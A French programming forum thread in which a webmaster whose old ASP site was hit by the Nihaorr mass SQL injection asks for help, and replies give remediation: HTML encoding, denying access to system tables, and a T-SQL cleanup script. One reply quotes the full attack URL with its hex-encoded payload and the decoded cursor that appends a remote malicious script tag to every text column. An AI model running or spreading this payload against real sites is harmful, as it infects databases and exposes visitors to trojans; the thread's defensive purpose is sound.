Coup de main pour un trigger

Coup de main pour un trigger - SQL/NoSQL - Programmation

Marsh Posté le 17-04-2008 à 17:48:19    

Bonjour à tous,
 
Sur un vieux site de notre filiale, il y a eu une attaque par injection SQL. Cette attaque est connue, il s'agit du site nihaorr.com qui insère des balises du type  
 
<script src="http://www.nihaorr.com/1.js"></script>
 
dans des champs de la base.
 
N'ayant absolument pas le temps en ce moment de sécuriser ce site (que je n'ai pas développé), je voudrais faire un trigger, sur chaque table de la base, qui pour chaque insert ou update, vérifie si la valeur insérée ne contient pas ces balises script, et si c'est le cas, supprimer cette chaine de caractères...
 
Le truc, c'est que ça fait au moins 5 ans que je n'ai pas fait un trigger, et la je sais pas trop comment faire... Si quelqu'un pouvait me filer un coup de patte, ça serait très sympa.
 
Merci !

Reply

Marsh Posté le 17-04-2008 à 17:48:19   

Reply

Marsh Posté le 17-04-2008 à 22:49:19    

oublie, à moins de vouloir mettre ta base par terre d'un point de vue performances.
 
quel est le langage utilisé ?
 
que ce soit PHP ou .NET par exemple, il existe nativement des options (activées par défaut généralement) permettant de lever une exception si une balise HTML est entrée dans un champ de formulaire.
 
mais le plus important, c'est simplement que partout où tu affiches ton texte, t'as juste à faire un HTMLEncode() (selon ton langage ça change) et plus de problème, les balises HTML vont s'afficher mais ne seront pas interpértées. dans l'autre sens, tu peux faire un HTMLDecode() sur toutes les valeurs passées en arguments à tes insert/update.
 
Ca prendra moins de temps que de faire des triggers, sera bien plus performant, et te blindera contre n'importe quelle attaque de ce type.

Reply

Marsh Posté le 18-04-2008 à 13:55:48    

MagicBuzz a écrit :

oublie, à moins de vouloir mettre ta base par terre d'un point de vue performances.
 
quel est le langage utilisé ?
 
que ce soit PHP ou .NET par exemple, il existe nativement des options (activées par défaut généralement) permettant de lever une exception si une balise HTML est entrée dans un champ de formulaire.
 
mais le plus important, c'est simplement que partout où tu affiches ton texte, t'as juste à faire un HTMLEncode() (selon ton langage ça change) et plus de problème, les balises HTML vont s'afficher mais ne seront pas interpértées. dans l'autre sens, tu peux faire un HTMLDecode() sur toutes les valeurs passées en arguments à tes insert/update.
 
Ca prendra moins de temps que de faire des triggers, sera bien plus performant, et te blindera contre n'importe quelle attaque de ce type.


 
Merci pour ta réponse magicbuzz.
 
Le site est en ASP.
Je voulais surtout éviter de modifier le code.
 
Le trigger n'interviendrait qu'au niveau de la partie admin, donc la gène en performance, j'en suis conscient, mais je n'ai vraiment pas le temps de m'attaquer aux pages, surtout s'il faut mettre des htmlencode ou decode sur toutes les pages d'affichage.
 
Sur les sites que j'ai développé après, j'utilise une fonction perso qui s'appelle PreparePourBdd et qui modifie les ' en '' et qui vire les balises script, évitant ainsi toute possibilité d'injection SQL extérieure dans les champs de login par exemple.
 
C'est pour ça que le trigger, en attendant d'avoir le temps de sécuriser le site, et la seule solution que je peux mettre en place sans y passer plus d'une heure...
 
Merci d'avance

Reply

Marsh Posté le 18-04-2008 à 14:17:49    

ben à moins d'avoir deux tables, je vois pas comment tu veux y passer moins d'une heure...
 
le souci avec les trigger, c'est qu'il faut en faire un pour chaque table.
et dans chaque trigger, surveiller ensuite chaque champ de type varchar ou autre.
sans oublier que tu t'as un "clob" ou "text", les fonctions genre "replace()" ne fonctionnent pas !

Reply

Marsh Posté le 21-04-2008 à 18:14:44    

MagicBuzz a écrit :

ben à moins d'avoir deux tables, je vois pas comment tu veux y passer moins d'une heure...
 
le souci avec les trigger, c'est qu'il faut en faire un pour chaque table.
et dans chaque trigger, surveiller ensuite chaque champ de type varchar ou autre.
sans oublier que tu t'as un "clob" ou "text", les fonctions genre "replace()" ne fonctionnent pas !


 
par "clob" tu voulais dire "blob" ?
 
Sinon non, mes champs sont de type int ou varchar, ya quelques champs bit, donc de ce coté la pas de souci.
Le seul souci c'est sur les champs varchar....

Reply

Marsh Posté le 24-04-2008 à 09:02:08    

blob = Binary Large OBject
clob = Character Large OBject
 
C'est la dénomination Oracle.
Sous SQL Server par exemple, leur équivalents sont Image et Text (ou nText)
 
C'est effectivement les mêmes types, à la différence près que la manière d'y accéder se fait pour l'un à l'aide d'un stream binaire tandis que pour l'autre il s'agit d'un stream texte.

Reply

Marsh Posté le 19-06-2008 à 19:46:18    

backdafuckup a écrit :

Bonjour à tous,
 
Sur un vieux site de notre filiale, il y a eu une attaque par injection SQL. Cette attaque est connue, il s'agit du site nihaorr.com qui insère des balises du type  
 
<script src="http://www.nihaorr.com/1.js"></script>
 
dans des champs de la base.
 
N'ayant absolument pas le temps en ce moment de sécuriser ce site (que je n'ai pas développé), je voudrais faire un trigger, sur chaque table de la base, qui pour chaque insert ou update, vérifie si la valeur insérée ne contient pas ces balises script, et si c'est le cas, supprimer cette chaine de caractères...
 
Le truc, c'est que ça fait au moins 5 ans que je n'ai pas fait un trigger, et la je sais pas trop comment faire... Si quelqu'un pouvait me filer un coup de patte, ça serait très sympa.
 
Merci !


 
Créer un trigger ne sert absolument à rien si ce n'est qu'a ralentir ta base. Le script malicieux Nihaorr1, va non seulement revenir mais il y en a pléthore... A ce jour plus de 200 (et les serveurs changent d'IP, impossible de bloquer). Il faut absolument que tu fasses quelque chose car, lorsqu'un client clique sur une de tes pages cela le redirige vers un site qui lui injecte des trojans.
 
Il s'agit de robots qui utilise non pas une faille de SQL serveur mais un parametre de sécurité mal etablit par le programmeur. (ces robots ne s'attaquent qu'au site en ASP et avec console IIS).
 
Ils envoient par URL un code en HEX:
 
orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000 4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055 00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900 73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069 006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000 62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031 0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00 200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043 0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00 27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C 005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00 6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045 00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
 
une fois décodé le code binaire devient ceci :
 
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
 
Pour arreter cela sans changer ton code, tu peux deja :
 
1) Bloquer l'execution du script:
 
Dans les commandes suivantes, enleve ("deny" ) la possibilité de "select", "update" et "delete" pour le profil "PUBLIC" et tout autre profil qui n'a pas besoin d'utiliser ces commandes.
 
sysobjects
syscomments
syscolumns  
systypes  
 
Le script n'aura plus acces aux "sys tables".
 
 
2) Trouver les tables infectees.
 
Pour nettoyer la base de donnees, il ne suffit pas de créer une "moulinette" qui va enlever le script (car ce script "tronque" une partie de l'ecriture de ce qui etait avant dans ta base). Il vaut mieux parcourir le chemin inverse du script (en gros utiliser la meme procedure que lui, mais en sens inverse).
 
Ce code te donnera toutes les tables qui ont ete infectees par le script:
 
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
3) Nettoyage de la base
 
Use DBname --- (nom de la base infectee)
go
 
-- (if needed) drop table tmp_tableInfected
create table tmp_tableInfected
      (t varchar(100),
            c varchar(100),
      total int)
 
-- (if needed) truncate table tmp_tableInfected
 
Declare @sqlInjectString varchar(200)
 
--- la tu dois specifier le nom de l'injection (sql inject string).
Set @sqlInjectString = '<script src=http://www.nihaorr1.com/1.js></script>'
 
 
 
DECLARE @T varchar(255),
@C varchar(255)
 
set nocount on
 
DECLARE Table_Cursor
CURSOR FOR
select top 10    a.name,
b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
and a.name not in ('t_article', 'tbl_reviews', 'tbl_articles', 'tbl_reviews_BK','tbl_spotlights_BK')
order by a.name, b.name
 
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
 
      --print ('insert into tmp_tableInfected select '''
      --+  @T +  ''','''
      --+  @C + ''', count(*)  FROM [' + @T +'] (nolock) where ['
      --+ @C  + '] LIKE ''%'
      --+ @sqlInjectString + '%'' having count(*) > 0')
 
      Exec ('insert into tmp_tableInfected select '''
      +  @T +  ''','''
      +  @C + ''', count(*)  FROM [' + @T +'] (nolock) where ['
      + @C  + '] LIKE ''%'
      + @sqlInjectString + '%'' having count(*) > 0')
 
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
 
 
--DECLARE @T varchar(255),
--@C varchar(255)
 
DECLARE fixSQLInject_Cursor
CURSOR FOR
select t,c from tmp_tableInfected
 
OPEN fixSQLInject_Cursor
FETCH NEXT FROM fixSQLInject_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
 
      Print 'update ' + @t + ' set ' + @c + ' = replace('+ @c + ',''' + @sqlInjectString + ''', '''')'
      --- exec ('update ' + @t + ' set ' + @c + ' = replace('+ @c + ',''' + @sqlInjectString + ''', '''')')
 
FETCH NEXT FROM fixSQLInject_Cursor INTO @T,@C
END CLOSE fixSQLInject_Cursor
DEALLOCATE fixSQLInject_Cursor
 
--select t,c,total from tmp_tableInfected
 
 
 
drop table tmp_tableInfected
 

Reply

Marsh Posté le 20-06-2008 à 00:12:38    

MarieNYC > Chelou l'attaque que tu décrit sur le fichier ASP.
Y'a pas à la base une méga faille dans la config de IIS ? Je suis particulièrement étonné que le serveur non seulement laisse passer une requête en paramètre, mais en plus sâche l'exécuter dans la base (parceque déjà, si la page ne se connecte pas à la base, ça risque pas de marcher normalement)

Reply

Marsh Posté le 20-06-2008 à 00:15:17    

(sinon, à la base, on n'est pas censé laisser passer du texte dans une requête sans au préhalable avoir fait un HTML encode et utilisé une requête préparée afin de ne pas s'exposer aux injection SQL, le nombre de sites qui ne font pas ça encore de nos jours me laisse perplexe)

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed